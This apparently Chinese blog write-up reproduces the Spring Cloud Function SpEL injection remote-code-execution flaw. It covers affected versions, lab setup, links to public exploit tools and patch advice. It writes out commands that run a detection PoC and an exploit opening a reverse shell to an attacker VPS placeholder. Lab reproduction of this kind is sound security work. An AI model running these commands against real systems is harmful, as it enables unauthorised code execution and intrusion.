Spring Cloud Function SPEL表达式注入漏洞漏洞复现
漏洞描述
Spring Cloud为开发者提供了工具来快速构建分布式系统中的一些常见模式(例如配置管理、服务发现、断路器、智能路由、微代理、控制总线、一次性令牌、全局锁、领导选举、分布式会话,集群状态)。
由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,未经授权的远程攻击者可利用该漏洞执行任意代码。
影响范围
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
注:发布时间为2019年11月22日至2022年2月17日
影响范围
Spring Cloud Function 3.1.7
Spring Cloud Function 3.2.3
漏洞复现
环境搭建:
JDK 15下载:
wget --no-check-certificate --no-cookies --header "Cookie: oraclelicense=accept-securebackup-cookie" https://download.oracle.com/otn/java/jdk/15+36/
779bf45e88a44cbd9ea6621d33e33db1/jdk-15_linux-x64_bin.rpm
漏洞环境下载:
https://github.com/N1ce759/Spring-Cloud-Function-SPEL-RCE
漏洞环境启动:
java -jar SpringCloud-Function-0.0.1-SNAPSHOT.jar

启动成功如下图:

漏洞利用:
工具下载地址:
https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE
VPS开启监听端口

开始检测漏洞并反弹shell:
检测漏洞
python3 Spel_RCE_POC.py url.txt
反弹shell
python3 Spel_RCE_Bash_EXP.py http://IP:9000/ VPS.IP 7777
漏洞防护
目前官方已针对此漏洞发布安全补丁和新版本修复,请受影响的用户尽快更新进行防护,下载链接:https://github.com/spring-cloud/spring-cloud-function/tags
声明
严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!